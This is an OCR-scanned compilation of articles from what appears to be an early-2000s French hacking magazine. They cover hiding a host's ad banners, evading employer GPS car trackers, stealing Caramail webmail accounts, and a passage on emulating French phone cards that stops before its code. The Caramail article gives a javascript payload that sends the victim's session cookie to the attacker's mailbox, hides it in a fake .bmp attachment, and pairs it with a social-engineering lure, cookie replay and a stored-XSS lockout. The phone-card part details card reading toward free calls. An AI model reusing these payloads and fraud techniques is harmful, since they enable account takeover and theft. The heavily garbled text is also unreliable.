a la publicité, ¢’est pourquoi je vous demande de ne pas utiliser
la technique que je vais vous présenter ci-dessous (Je sais que
vous allez faire‘tout le contraire, mais je dois vous le dire quand
mémel). g

Je présente seulement une faille 4 titre d’exemple des nombreuses
failles qui peuvent exister sur un systéme informatisé. Lerreur
est humaine, et certains enabusent sur les systémes informa-
tiques. |

Les créateurs de sites (perso et!é.u sans le sou) auront déja

remarqué, I’hébergement 0’est jamais tout & fait gratuit! En fait
multimania rajoute sur les sites qu’il héberge des bannieres
publicitaires avee lesquelles il se rémunére. Mais bon, parfois
c’est un peu frustrant, surtont quand ¢a vous fout en Iair le desi-
godevotrenouvellepage Internet que vousavez mis des moisa créer,
Alors, les vilains pirates se sont mis comme partout ailleurs, 4
chercher des failles qui leur permettraient de donner libre cours
a leur créativité. Et c'estainsi qu'il y a peu de temps, ils ont
découvert qu’il suffisait de donner I'extension *.php3 pour que
les bandeaux publicitaires nes'affichent plus. C’était génial!!!
(eu...pour ces pirates, bien sir). Mais comme tout ce qui est
bien, ¢an’a pas duré longtemps. Les webmasters de multimania
ont decouvert fa faille et se sont dépéchés de la réparer. Alors, les
Hackers'Z toujours en quéte du Site au design parfait se sont
remis en traque d'une faille qui comblerait 4 nouveau leurs désirs
de libertéet...

C’est ainsi que tout récemment, unpote 2 moi BLACKWIZ-
ZARD(Salutatoi, O frére)découvrit une nouvelle faille'que je vais
vous présenter. Mais, cette fois, priére de ne pas en abuser car les
hébergeurs gratuitsc’est bienutileet, plus tot cette failleseradécou-
verte, plus tot elle sera corrigee, soit peu de temps aprés la paru-

tion de cet article si ce n'est déja fait! _
Bon de toute fagon, BLACKWIZZARD s’acharne a trouver des
failles pour multimania, alors si celle la venait 4 ne plus étre
appropriée, vous pourrez toujours aller voir sur son site :
http://www.hacktive-zone.fr.fmou (un p’tit coup de pub) vous trou-
verez stirement d’autres failles ainst que plein d’autres trucs inté-
ressants !

Bon, I'attente pése ?-Alors, voici Ia faille :

I1s’agit d’une faille de DHTML (Le «tHTML DYNAMIQUE»
qui permet une meilleure mise en page des sites).

Pourcela, ilsuffit enfaitd’occulter labanniére en changeant sa posi-
tion et en la rendant invisible.

Ce qui est simple puisqu’il vous suffit simplement de copier la

* ligne suivante au bas de vos pages Internet :

<div style=»position: absolute; visibility: hidden;left: -5000;
top: -5000»>

Et voila c'est tout simple ! Plus de pub pour Finstant.

ATTENTION !!: [ faut choisir 'option bandeau publicitaire et sut-
tout pas popup!!!! :

Ah, jallais oublier pour ceux qui iraient tout de suite tester I'as-
tuce ailleurs, je vous préviens, )'ai déja essayé sur Ifrance,
(www.ifrance,com) et ...CA NE MARCHE PAS!!!

Je réitére : n'oubliez pas de consulter le site :
http://www.hacktive-zone.fr.fm, et encore merci a BLACKWIZ-
ZARD de qui le coup d’pouce est venu pour la réalisation de cet
article,

FOHACH
Wviw.hacker-zone.fnst
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Vous avez certainement entendi: parler des mouchards posés sur une voiture et qui permet-
tent de la suivre a la trace, Alors Mythe ou réalite ? Les mouchards existent...Nous allons voir
pourguoi ils ont été congus, comment ils fonctionnent, et s'il est possible de les éviter...

1- Pourquoi les mouchards: ? :

Prenons 1'exemple de 'employé d’un service apres-vente d un
~ grand magasin. Il a des tournées 4 faire dans la journée pour aller
voir desclients. Pour celail dispose d unevoiture. Cethonnéte homme
est tres mal payé ; la vie est dure, Alors il va se dépécher de faire
toute ses tournées le matin, et il va se servir de la voiture pour
faire des déménagements "au noir" contre un peu d’argent. Seule-
ment, son travail (officiel) est payé a I'heure et au kilométre, done
si on suppose qu'il fait un détour de 15 km de plus chaque fois
qu’il fait un trajet, alors il va toucher plus ! Probléme : tout ce
manége (méme si il est légitime) cotite cher 4 I'entreprise, alors le
Patron va installer un mouchard sur la voiture qui va lui commu-
niquer toutes les positions de la yoiture au cours de la journée et
- surdemande, sapositionen tempsréel. .. Dommage pour I'employeé. ..

2- Fonctionnement d'un mouchard
Le mouchard se compose de plusieurs parties :
- Le boftier : installé par des techniciens sous le tableau de
bord, il estéquipé d’un émetteur GPS, d'unepuce: genre Carte SIM.
Vousconnaissez tous la technologie GPS quipermet delocaliser une
personne ouun véhicule équipé aumétre prés. Ilséquipent lesbateaux,
les avions, certains randonneurs s'en équipent aussi. . .enfin fout
ce qu’il faut pour localiser quelqu’un et lui porter secours si
besoin est...Le probléme ici, ¢’est que cette technologie n’a pas
¢té utilisée a des fins aussi bonnes et charitables, mdis plutét en
vue d’espionnage, enfin, on y reviendra.. Et puis une carte SIM
qui stocke toutes les positions de la voiture au cours du temps.
- Un émetteur récepteur GSM (comme un teléphone por-
table quoi!), relié a 'ordinateur du patron. Celui-ci peut
demander & avoir la'position du véhicule & ce moment précis en

envoyantun SMS au boitier dela voiture. [l recevraalors, toujours
sousforme de SMS, laposition delavoiture etun historique réduit
des derniére actions de celle-ci. Cela se fait seulement si I'opé-
rateur (le patron en général) fait une demande. Mais dans tout
les cas, lorsque le vehicule s'approche de cet émetteur récep-
teur, ¢’est-a-dire, dans la plupart des cas, quand il rentre au
garage, un téléchargement sur 'ordinateur de’opérateur detout
le contenu de la carte SIM se fait, et ceci par le biais de fré-
quences radio indépendantes du réseau GSM (donc c’est pas
payant )... Je ne connais pas encore la valeur de ces fréquences,
mais je vais me renseigner. Yous en deduisez facilement que
cette boite n®2 n’est pas seulement un émetteur récepteur
GSM, mais aussiun Modulateur/Démodulateur (MODEM)pour
permettre la réception des données de la carte SIM. Et de méme
pour leboitiern®! : lemouchard dansla voiture, Voir un prochain
cours sur les MODEMS et leur fonctionnement. ..,
--Le transfert de données se fait donc via le réseau GSM, on peut
noter que le client de ce service (le patron) est libre de choisir son
réseau (SFR, ORANGE...) puis via des ondes radio indepen-
dantes de ce réseau. .

3- Failies possibles ou comment est-il possible te contour-

ner cet espionnage...

- Lapremiére chose alaquelle onpense tenlever lemouchard !
Et bien, je vous souhaite bonne chance, parce qu’il est bien ins-
tallé sous le tableau de bord. Il faudrait alors le démonter, trou-
ver le mouchard, le désactiver (et oui, parce que si vous le posez
sur le siége & coté de vous, vous étes tracés quand méme !) et
remonter le tableau de bord, tout ¢a, sans que le Patron ne le
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voie sur la bagnole. .. Et méme, réfléchissez un moment, si vous
arrivez (parmiracle) a désactiverle mouchard, quand votre (ignoble)
Patronvoudra télécharger lesdonnées delacarte SIM, il va se heur-
terdunprobléme, et forcement, il vase renseigner, remonteravotre
voiture, et je vous laisse imaginer la suite. . .

- Bon, deuxiéme idée : intercepter le transfert de données.
Quasiment impossibleau niveau GSM, il faudrait unscanner d"ondes
GSM, introuvable, et sur le flux de données qui circulent :
trouver la bonne information...c’est comme essayer de casser
un mur avec la téte ! Bon, au niveau des Ondes radio mainte-
nant (le téléchargement de la fin), c’est pas bien plus acces-
sible il faut connaitre la fréquence, mais ca on peut se
renseigner, I'autre problemeest deconnatre 'algorithme, eneffet,
prenons un exemple simple ;

- Supposons que le code : F'= 2600hz et D = 3 (durée) corres-
pond ala lettre A, le modem coté Patron va interpréter ce code
comme la lettre A, alors il va renyoyer a I'ordinateur le nombre
de bytes correspondant 4 la lettre A, comment savoir si c'est F =
2600hzet D = 3 ou F = 600hz et D = 0.5 ou autre chose qui va
correspondre & la lettre A 211 faut se renseigner auprés des fabri-
quants et ga m’étonnerait qu'ils lichent beaucoup d*infos. ..

- Autre solution : si on a de la chance, I'ordinateur de I"opéra-
teur est connecté 4 I'Internet, on suppose que le patron est un
blaireau qui cherche des filles sur caramail, alors il suffit de lui
balancer un trojanbien placé, et de prendrele controle dela machi-
ne. Ensuitevous pouvez effacer I'historique (celui qu’il télécharge
quand vous revenez au garage), le modifier, ou encore désins-
taller le périphérique (boitier n°2). ..

- 81 vous avez un lecteur decartes 4 puces et que yous avez réussi a

 démonter lemouchard, vousefTacez les données de lacarte SIM. . . mais

“gaempéchera pas le patron de faire une demande précise de
votre position a n'importe quel moment. ..

- Toujours si vous arrivez & démonter le mouchard, vous pouvez
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détruirediscrétement lacarteSTMen faisant unerayure dessus par
exemple... Et 14, avec un peu de chance, le patron, apres s'étre
renseigné, va conclure 4 une déformation au niveau de la fabri-
catign et donc & un service peu fiable, il va alors exclure ce sys-
téme de son entreprise !

- De tout ¢a, il y a plus simple : arrétez de frauder !

- Jevaisexposericiune faille du systéme: le transfert desinformations
par SMS dépend de la qualité du réseau GSM dans la zone.
Effectivement, si vous captez mal, ¢a passe pas ! Mais en géne-
ral, c’est pas exploitable, pour plusieurs raison : si vous tra-
vaillez en ville, le réseau passe partout, si vous travaillez a la
campagne, lepatron aura certainementpenséau problémeet n*au-
ra pas installé ce systéme...et oui, pas con quand méme ! Et
dans tout les cas, le transfert au retour par ondes radio va mar-
cher, donc. .. '

Jarrive & la fin de mon article, je vais essayer de me renseigner
un peu plusdcesujet, etje vousen reparlerais. .. Tout¢apour lapro-
tection de la vie privée, et I'anti-vulgarisation des systémes d’es-
pionnage. ..Nos Patron nous ont déja fait le coup de I"espionnage
des e-mails, faut pas abuser non plus !!!

Voila, si vous avez des questions, remarques ou autres. .. voici

mon mail : 3kira. punker @caramail.con

@+ Mlira,
'REMEMBER HACK FOREVER |
It/ www.gr eenhackers. st
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DISCLAIMER

Vous avez pas le droit de faire ¢a ! Alors
ne le faites pas. C'est interdit. C'est
juste pour vous expliquer comment de
petits filous peuvent aller lire vos mails !

Alors aujourd'hui on va parler de Caramail. ;)

Je sais, beaucoup d'entre vous n'aiment pas caramail, car ils
trouvent que ¢'est un réel regroupement de lames. Mais bon !
C'estinstructifaussipourd’autresservices decourriersélectronique
par le web... Voyons donc comment les carahackers font pour
aller lire les mails des autres, parler & leur place ou encore chan-
ger leur profils. Pour comprendre ces failles, on aura besoin de
quelques vagues notions de javascripts et et de html, c'est tout.
Commengons par expliquer cette éternelle faille : En fait, au
niveau des services de mail via internet, style Caramail par
exemple, lorsque vous envoyez un mail, vous allez sur la page
d'envoi (écrire un mail), vous tapez votre mail, le nom du desti-
nataire, et c'est parti mon kiki, votre mail est envoye !

Et bien c'est |4, qu'est tout le probléme. C'est ce que les carahac-

kers utilisent : 'enyoi de mail par caramail est un béte formulai-

re contenant des champs a remplir et un bouton envoyer.

Et bien |4 nous n'allons pas passer par la saisie de ce formulaire !
Engroscequelecarahackersouhaitec'est forcersa victimed envoyer
unmessage danssapropreboitecontenant I'identifiant deconnexion
desacible, Pourcela, c'est facile, il suffit de lui faire exécuter du code
html contenant I'adresse du formulaire d'envoi des mails, avec les
paramétres qu'il souhaite.

Présentons ce formulaire :

I est situé a I'adresse : www.caramail.com/cgi-bin/SelectAction
On peut lui passer comme paramétres : :
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DEALIAS : Ca je sais pas ce que c'est !

MAILTO : qui va contenir I'adresse du destinataire.
SUBJECT : qui va contenir le sujet de notre message.
BODY : qui va contenir le corps de notre document.
TARGETACTION : qui va contenir d'éventuelles options

Bref, sl de notre boite caramall on se

rend & l'adresse :

ity /v caramail cony/cgitin/seleetAction? DEALIAS =08 MAILT0=sdresse @ ol
ne.com&SUBJECT=Le Sujet&BODY=Le corpBTARGETACTION=NONE

alors nous allons envoyer un mail a adresse@@domaine.com
dont le sujet sera : Le sujet
et le corps: Le corps

Bon yous avez compris ¢a ? Trés hien alors on continue.

Le carahacker va maintenant forcer sa victime & lui envoyer un
mail avec son identifiant. De cette maniére il pourra se connecter
asa place | Lorsque l'on est connecté a caramail et que I'on chan-
ge de page, le serveur vérifie le cookie présent sur notre disque
dur, C'est ce cookie qui fait le lien entre celui qui est connecte et
les documents le concernant.

[1faut toutefoissavoir queces cookies sont temporaires, et par consé-
quent, lorsque l'utilisateur se déconnecte (proprement, c'est a
dire qu'il clique sur le lien déconnexion et pas sur la petite croix
en haut 4 droite !) le cookie n'est plus valide ! .

Pour se connecter sur la boite caramail de quelqu'un, le carahac-
ker aura donc besoin de ce cookie (il se nomme IDENTIFIANT
sur caramail).

Le mall qu'll va envoyer & sa victime &
l'insu de son plein gré sera de la forme :

MAILTO: hacker@caramail.com (C'estl'adressedela boitedu pira-
te o il va récupérer les données de sa victime.)

SUBJECT : N'importe quoi, c'est le sujet du mail qu'il s'envoie
indirectement |

BODY : Identifiant de la victime.

ﬁ Nous AVONS
Y ON PRORBLEME
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Bien voyons un peu de javascript maintenant !

Pour récuperer lecookie d'une page, ilsuffit d’utiliser lacommande
Javascript: window.document.cookie

Dong, c'est le cookie de la victime que le carahacker veut récupé-

rer. Le mail qu'il va forcer la victime a envoyer (i I'insu de son
plein gré toujours !) devra done contenir ce code.

1 va en fait, de part son code javascript, forcer sa victime & aller
a l'adresse :

"t/ /wwawr.caramail.comy/col-bin/ selectAction?DEALIAS=DRMAILTD=arlrasse @romal:
ne.ﬁn mﬂﬁ]SilEJEﬂTzls Sujet& BODY="+window document.cookie+"TARGETAC-
TION=NONE" :

Le Javascript qui permet de changer de
page est le sulvant :

Window.ooation="htty://www.caramail.com/cgi-bin SelectAction?DEALIAS =D& MAIL-
T0=hacker@caramail.com&SUBJECT=Le cookie&BoD
Y="-+ window.document cookie -+ 'RTARGETACTION=NONE

CommenousI'avons vu, lorsque ce codesera interprété, lenavigateur
de la victime se rendra & la page d'envoi des mails avec comme
corps, le cookie de sa victime, et cela aura pour effet d'envoyer
un mail au pirate contenant le cookie de sa victime.

Maintenant le carahacker doit forcer sa victime a exécuter ce code !
Ca a toujours été le grand probléme des hackers de webmails:
Tinterprétation desscripts. Audébutunsimplemail javaseript dans
ur mail envoyé en html suffisait sur caramail !

Mais maintenant, les principales failles ayant été bouchées, il
faut trouver un moyen de passer outre les filtres, Pour ce faire,
une technique consiste a placer le script dans un fichier attaché,
Fichier qui sera renommé en .bmp et 4 envoyer en attaché A sa
vietime. De ce fait, si 'utilisateur clique sur le fichier, le code
sera interprété et le pirate recevra bien le mail avec le cookie,
bien que ce soit apparemment une image.

Le pirate va sirement faire croire  sa victime qu'il s'agit d'un
mail avec une image marrante ou un truc dans le genre. Le pirate
fera preuve de SE (Social Engineering) pour 'amener 4 cliquer
sur ce maudit fichier attaché ! - -
Pourea, seule son imagination le limite. Bref, il va faire en sorte
que la cible clic sur le fichier attaché .bmp.

i
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Cela va donc se réaliser en plusieurs étapes :
1. Elaboration du code :

<fitml> :

<oty onfoad="window.location="hty: vwnw,caramail.com, ci-tin/SelectAction?DEA-
LIAS=08&MAILT0=hacker@caramail.com&SUBJECT=Le cookie&BODY="+ win-
tiow.document cookie + ' ETARGETAC TION=NONE":"> |

</hoty>

</himk>

Placé dans un fichier txt renomé en .bmp (le onload permet
d'exécuter le script des I'ouverture de la page onload= Au char-
gemenl ).

Ex : marrant.bmp

ATTENTION
Rien n'empéche le pirate mal intention-
_hé de placer en plus une image dans
soncode, via <img src="..."> par exemple
et de faire exécuter le code au déchar-
gement de la page (onunload)

2. Attachement du fichier au mail.

3. Argumenter le mail pour faire en sorte que sa victime clic sur
le lien :

Ex : Sujet : Photo excellente !!!
Corps : Voici une photo excellente avec une super femme 2 oilp |

Clest tout con mais ¢4 marche avec 99% des gens, malheureusement.
L'exemple est nul, mais il peut faire en sorte que vous cliquiez dessus !

4. Envoi du mail 4 sa cible et attendre qu'elle I'ouvre.

Lorsque sa victime ouvrira le fichier .bmp, le pirate recevra donc
le mail avec le cookie de sa pauvre victime, Il ne lui reste plus

(DES CRETING NUMERIQUES
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qu'a l'exploiter. Pour se faire, le carahacker va utiliser un outils
comme hkit (disponible un peu partout sur le net). Il permet
d'ouvrir une page donnée a I'aide d'un cookie donné.

11 lance donc hkit, il crée le cookie a I'aide du bouton cook me !,
en lui donnant pour nom, IDENTIFIANT et pour valeur, celle
du cookie qu'il a requ.
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Maintenant il n'a plus qu'a choisir une adresse et & I'ouvrir avec
le cookie de sa victime.

11 va se rendre & des.pages comme :
Exemple :

i/ /www,caramil.com/egi-bin/NbParFolder > Pour avolr Ia piage principale avec
les péperioipes |

htp://www.caramall.com/cgl-

bin/contenu?FOLDER=1 -> Pour les mails du repertoires principal |

Pt/ /v, caramall com/scrigts,/editProfi - Pour dditer le profil

Voila, vous savez tout.

Maintenant, qu'il est rentré sur la boite de sa victime, il est libre
de faire ce qu'il veut, il peut par exemple exploiter la faille des
noms de dossier :

On peut en effet eréer des dossiers dont le nom sera du javascript,
il n'y a pas de filtres, le code sera donc interprété !!

Par exemple rien ne I'empéche de créer un dossier (page:
http://www.caramail.com/cgi-bin/FormulaireAddDelFolder ) com-
partant le script suivant : '

<seript>while(1) {alert('hAcKeD');} </script>

L [LUN DeuX ,
(EST MoN FRERE
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Et la, votre boite est foutue ! En effet, le nom des répertoires est
la premiére chose qui s'affiche lors du lancement de caramail. Et

par conséquent, plus rien ne fonctionnera. Il est possible de créer
d'autres scripts ayant des effets divers, toutefois, n'essayez pas ¢a
et surtout sur votre propre boite ! I'ai pourri la mienne comme
¢a en essayant, lol.

Résultat, lors de I'affichage des noms de dossiers dans la barre de
droitedel'écranprincipal, vousnepourrez plusrienfaire. Elle verra
afficher le message hAcKeD une infinité de fois, sans jamais vous
laisser la possibilité de réagir.

Comment se défendre ?

Etbien, c'est facile, n'ouvrez que lesmails dont vous connaissez!'ori-
gine ou alors télécharger vos mails et lisez-les au bloc note ;)

Et surtout il est important de quitter caramail via le lien décon-
nexion ( ce que ne font pas plus de 99% des gens !), qui aura
pour effet d'annuler le cookie..Le carahacker ne pourra alors
plus l'utiliser. Si vous avez été victime de la faille des noms de

- dossiers, essayer de supprimer le dossier rajouter (si cela est pos-

sible). Désactiver le javascript dans votre navigateur peut aider.

Ces failles ne sont pas 4 prendre & Ia légére et plus d'un s'est déja
fait prendre, alors méfiez vous !

(]

Redils
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EMULER UNE T61 (nage e carty

'EPISODE | DE LA SAGA TELECARTE |

Sur un forum dont je tairais le nom., un type avait un jour posé cette question “peut-on dupliquer une télécarte, et ainsi en
. faire une infinité, un clone 2", Je ne savais pas répondre, j'admet :) Mais la question avait le mérite d'étre brillante, et U'idée

~ aussi :)) Aprés étude des possibilités matérielles que j’avais sous la main, je me mis plutat a pousser mes recherches sur
Uémulation d'une télécarte, & partir d'une véritable télécarte (arf... Eh oui, il faut en avoir une au départ au moins... Mais
pas ohligatoirement je vous rassure :) Cette émulation permet de teléphoner gratuitement, bien sir , mals cela est formelle-
‘ment interdit par La.loi, vous le savez hien ;) et donc vous ne ferez ce que j'applique que dans la sainte optique d'étudier de

plus prés le dialogue carte/cabine, c'est évident. Je ne suis, ainsi que le journal, responsable en rien de ce que vous en ferez...

Cest de Uinformation quol.s, Rien de grave

Bon, il y a un paquet de chose$ a apprendre pour bien com-
prendre, et je vais tenter d'étre le plus didactique possible. Avant
de commencer a émuler une télécarte frangaise, tout d'abord, et
ce de maniére trés logique : qu'est ce qu'une télécarte :)

1. IATG1

1.1 - Introduction

Aumilieu des annees 80 est appari un nouveau type de carte, rempla-
cent avantageusement la carte & bande magnétique. Cette carte se vou-
laitplussecurisée (enfinlol) quelacartemagnétique; elleconnutun grand
Sticees, et encore de nos jours ;) Sa déclinaison la plus simple est 1a télé-
carteutilisée pour les paiements de téléphone, et ¢a tombe bien, ¢'est
eelle qui nous intéresse anjourd'hui :) Dans la télécarte, tout est lisible
entierement et on peut écrire partout saufsur unepartie fabricant,
non écrivable) mais ce nesont pas les seules applications de cette carte,
il y a aussi des modéles plus complexes, comme la m emory card, avec
certainespartiesprotcggesparclé, pouvant contenir des informations pri-
vees... Je vous laisse imaginer de quoi je parle ;) 11 existe aussi les cartes
niicro-processeur (le protocole ISO 7816 pour ceux que ¢a intéresse )
qui sont les plus sécurisée car elles ont leur propres OS interne qui
gmpéchent toutes E/S (entrée / sortie) si le code PIN (Personal Identi-
fication Number) n'est pas donné. C'est le modele bancaire, ou encore
des téléphones portables. ou de canal satéllite...

Enfin... La télécarte est la moinsséetire.. enfin tout est relatif. Ne pen-
-sez pas que vous allez phoner gratuitement comme ga :D D'ailleurs

#
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c'est formellement interdit alors ¢a ne vous a méme pas traversé 'esprit
Jespére ;) Mais on va quand méme tout faire pour étudier cette carte ;)

Done, qu'est ce qu'une télécarte techniquement ? En France ¢'est
un Eeprom de 256 bits (une mémoire) avec des E/S et quelques points
e contriles. '

La je vois les malins habitués aux manip pour Canal + : Pourquoi
ne donne t-on pas un bon coup d'UV 1a dedans pour remettre tout
a0 ? Bah c'est pas compliqué :) Les ingénieurs sont malins ils y ont
pense. La carte est moulée dans un plastique anti UV (je simplifie
la :) pour protéger le chip, et méme , si l'envie vous prenait d'effa-
cer le chip, ce ne serait méme pas possible, vu qu'il faudrait aussi
effacer lapartieconstructeur, quin'est pas écrivable, a caused'un petit
fusible cassé en usine... raté. Nous ne ferons donc pas cela :)

1 faut aussi savoir que les cabines contiennent un ordinateur spécia-
lisé dans la balance :) je m'explique : les cabines ont accés de leur
lecteur de carte a un réseau appelé URP (Unité de Raccordement
de Publiphone) qui garde une liste de carte volée ou autre, qui lis
votrecarte, effectuedifférents testspoursavoirsi toutal'air bon (check-
sum, certificats...)etensuite vousautorisea téléphoner ;) violent le truc
L L4 je vous effraye volontairement pour vous montrer l'ampleur du
travail a accomplir ) Maintenant c'est fini de déconner.

N'OUBLIEZ PAS : Sivousessayezd'utiliserune faussecarte vraiment
baclée , I'URP peut appeler I'opérateur qui lui méme appellera la poli-
ce :/ ce serait con de se retrouver en cabane aptés avoir joué au mar-

EN SOMMES, LA MASSE
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lon... DONC PAS DE BLAGUES A PROPOS DE CLONING RATE
OUDERECHARGEMENT DE PUCE AUCRAYON A PAPIER (comme
on & pu le lire dans ce journal de fagon honteuse...)

Nous, noas ne fraudons pas :) On étudie les cartes un point c'est tout.
('est un sujet d’expérience passionnant. Analyser ce qu'elles contien-
nent, comment les données sont "mappee" (placée en gros) ou encore
voir le nombre d'unités qui vous reste (le truc nul ;) Et aprés que
vous saurez tout sur elle, vous pourrez tout faire. Si une carte peut
étreutilisée pour ouyrir une porte, elle peutaussisécuriser un programme,
un PC... Enfin on en est bien loin. un peu de technique now :)

Nospetites télécartesfrangaises onétécrééesen 1984, etacetiecpoque,
nous, toujours trés chauvins, les avons faites selon la norme NMOS.
Mais c'est fini ¢a, désormais les cartes sont en technologie CMOS :)
Bon, onenestaux TG2now oulesdonnéessont des EEPROM plussecu-
te, carrément cryptés, que pour l'instant & ma connaissance perso n'a

" décrypté. mais on y taffe ;) Mais comme les TG1 sont encore accep-
tées dans les cabines nous ne nous préoccuperont pas des TG2 dans
cette article :) Bon 1& c'est parti on se traine en longueur. Go.

1.2 - Schéma du chip @

| Fusihle
| Vpp

¥ !
1

|--S|1;'tia

|
| Reset |
I
!

1.3 - Place de la puce :
Norme AFNOR : (pouce en haut a gauche de la carte)

|8 sl
eme R

|7 +—+—+"13 |
pemanal I ..... -

|8 + 4=+ 2|
S ] | PR = +
a1
---------- +—--—-_---—
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Norme ISO : (la norme classique ; au milien a gauche)
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('est bien mystérieux tout ca ... A quoi peuvent donc corres-
pondre les pistes suivantes ? Et bien voila les correspondances,
présentées sous la forme : :

numéro [SO / Norme ISO 7816 / Usage

1.Vec  Tension d'alimentation de la carte

2.RW ' Read/Write

3. CLK Glock, horloge quoi ;)

4, RST Reset : mise a 0 par le lecteur de la cahine
pour stopper toute transaction

5. GND Masse ; :

8. Vpp Tension de programmation

7.1/0 Entrée/sortie (Input/Output quoi ;)

8. FUS Le fameux fusible empéchant |'écriture des

96 premiers hits

1.4 - Principales caractéristiques : résumé
La TG1 est une carte a puce dotée d'une mémoire de 256 bits
commecitéeprécedemment, composées d'uneentéteavec date, nombre
d'unités, numéro deserie, ete... dans 90bits, lerestant dela carte étant
compose de 0, se transformant en 1 lors du débitage de la carte. il
est seulement possible de passer du 0 au | et pas I'inverse, a cause
de I'existence d'un fusible grillé en usine empéchant la réécriture :(
C'estunecartesynchronec'est-a-direquepourlirelebit X touslesbits
auparavant devront étre lus un par un. On ne peut donc pas sauter
un bit. Ainsi si on veut lire le bit 4, on lira le bit 0 puis | puis 2
puis 3 puis-4. pas de saut a 4 immédiatement. Donc c'est une
mémoire totale de 2561 bits, donc 96 bloqués par un fusible. Il
suffitde 85mW pour lalecture, 21V pour laprogrammation, le temps
d'accés moyen est de S00ns, et elle supporte des températures de -
10 a +70 et garde ses données 10 ans mais 14 on s'en tape ;)

ey Y
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1.8 - Map de la télécarte :

Byte (Bit) Hena
e 2 :

0(0.7) | | -> Checksum des hits 1, 2, 3 (*)
s '

1(8..15) . | $0s | ~> Numéro de série (1er bit)
e

2(16.28) |  |-> Numéro de série (2eme bit)
Dt 2

3(24.31) |  |->Numéro de série (3eme bit)
e

4(32.39) |~ |=-> checksum des bits b, 8, 7 (*)
B

5(40.47) |  |--> Numéra de série (4eme bit)
e

6(48.85) |  |--> Numépo de série (Seme hit)
o

7(56.83) | |

il s 24

dreemende

8(64.71) | _ |-> checksum des bits 8, 10, 11 (*)
S =

907279 | | '
ficals

D
Ill(all..s?_'}l - |$10| > France ;)
ha I-|- ----- + 4
- 11(88..95) JSIgJ => 120 unités
$07| -> 80 unités

$06| --> 50 unitds
$05| --> 40 unités

{804  --> 26 unités
§02| --> 5 unités
¢ ki :
12(86..103) | | -> Lapartiedesunités: achagueunité
> griliée un hit est mis a 1
-] |  [les 10 premiers hits sont grillés en
usine pour des tests

AUMOMENT OU S5& JOUE CETTE SCaE|
TERRIBLE PouR LE DESTIN DE {INIVRS

a0 izltln..za[;?}l |

e - '
31 (248..259) | $FF | --> il y a SFF de mis lorsgue la carte
: est vide.
Bt :

(#) : le checksum est le résultat du caleul suivant :

max | min=32%(j-1)+8
$E3-4# Sumb(i)  ou | max=327%-1
i=min | | et j est le checksum (1, 2 ou 3)

Maintenant que I'on sait ce qu'est PRECISEMENT une télécarte
comment se passe la lecture de la carte par la cabine pour que
I'on puisse savoir ce qu'il faut faire pour émuler ?

1.8 - Lecture d'une iélécana pas a pas :)

Fortheureusement, lacarteet leport paralléle denotre cher PC uti-
lisentlamémenorme TLL, cequisignifientqu'a 0iln'ya pasde cou-
rant, et qu'a 1 il y aun courant.de 5V, Ca c'est pas mal, ¢a évite
lescomplicationsentreleportparalléleet lacarte... Onpourra done
faire un petit lecteur sympa pas compliqué :) _

L'horloge CLK bouge le pointeur dans la mémoire de 1a carte.
Unepetiteopération dueau faitquelacarteest asynchrone : lorsque
sa valeur passe de 1 a 0, le pointeur est incrémenté d'un bit;
retourne ensuite par 1/0. Pour la lecture d'un bit, on transmet
un signal sur CLK (passage de 1 a 0) et on it sa valeur sur I/O.
Pas plus compliqué :) :

Pour 12 lecture, I"ordre des opérations est Ie suivani :

- On met 0 a tout le monde, saufa Ve afin d'alimenter notre
carte, qui est a.., 5V enfin, TTL oblige! ;

-On fait un petit reset ensuite, en passant CLK de 1 a0

- Et ensuite on lit : on passe CLK de [ a 0 et on lit les bits de sor-
tiesur /0~

- Pour stopper la lecture, on débranche ;)

OK. Lemécanismeest tréssimple (je trouve. .. ) réalisons un petit lec-
teur de carte pour étudier ensuite le comportement de notre télé-
carteen détail lorsqu'ellesera réalisée (oui je vous dit, cest dusport!)
Notremontageest un montageen parallélesur notre PC. Nous allons
« doncutiliser LPT1. Deplus nousallonsécriresur RST, CLK et VCC,
et lire 10, le tout avec une masse en GND. Ce sera notre cahier
des charges.

\\§
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Munissez vous donc :

- D'une prise male LPT

< Un lecteur de carte a puce (entre 25 et 40 frs)
- les classiques fer a souder plus étain.

On relie ensuite les bornes LPT suivantes (les chiffres sont ceux
inserit sur la prise LPT...) : :

VCC (150 1) --> LPT 2
GLK (180 8) -> LPT 4
RST (150 4) > LPT §
GND (IS0 B) --> LPT 256
/0 (i807) > LPT 13

Pour ceux qui suivent un petit peu, ceux-la se demanderont
pourquoi je ne met pas I/0 sur LPT3. Et ils auront raison :)
Clest juste quesur monmontageoriginal, j'avais misR/Wsur LPT3.
Mais mon montage original de lecteur n'était pas pour ¢a.. La.
on se fiche de la lecture /rééeriture... Le port paralléle est acces-
siblesoiten lecture (port 0x378), soitenéeriture(port 0x379) , soit
les deux (0x37A je crois)...

Pour vérifier votre montage, il faut le zoli petit utilitaire sous
win, "debug.exe”. Oh la créme de logiciel :) ! Vous placez un fil
d'un voltmetre dans LPT 25 (la masse) , et I'autre dans n'importe
lequel, de préférence celui que vous voulez tester :) Les com-
mandes de debug sont les suivantes :

o port valeur (met le port a une certaine valeur)

i port (retourne la valeur)

(les valeur sont en hexadecimales. Pour ceux qui les manient mal,
la calculatrice de windows le fait trés bien pour eux :)

Exemyle concret

Mettez un fil dans LPT 25, et 'autre dans LPT 2. Sous dos,
faites debug puis "o 378 FE" et 3 s1 le montage est correct, vous
allez avoir du 5V sur la prise LPT2. Faites ensuite "o 378 0" et
lail n'y a plus rien.

Bon, aprés ce petit détour, revenons a notre sujet :
On a donc toujours dans I'optique que les prises LPT sont faites
ainsi :
LPT?2.3.4,5sontaccessiblesenécrituresurleport 0x378 pour LPTI
Par exemple pour envoyer | sur LPT 2 nous devrons faire en
assembleur : - :

mov dx,378h

7 yoLi mim
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mov ax,00000001h
out di,ax

Pour envoyer | sur LPT3 on fait donc logiquement :

mov dx,378h

mov ax,00000010b
out dx,ax

etc etc...

Pour la réception de‘données, on utilise LPT13, accessible via le
port 0x379, appelle select, dont le bit est 4 (le Seme bit si vous
avez suivi ;). On devra dong faire : "

mav i, 379h
i ax, dx

et 18, magie! ax contiendra les valeurs du port 379h. C'est la
trame de notre montage, bien elague déja :)

Petit schéma récapitulatif :

Port 0x378
hit a7 BBy 2o o1
vaue - - - - RST CLK Vee
Port 0x379 :
hit 7. 8B :5.74.:.8 .2 1:+<0
valie - - - 1O - - - -

Vous soudez tout bien et vous obtenez votre lecteur de carte.
Mais il vous manque le programme, car le PC va pas lire ¢a tout
seul ;) Je vous le donne dans mon infinie bonteé ;) Il est en C/ASM
pour simplifier les choses. Ce programme est code par Obcure,
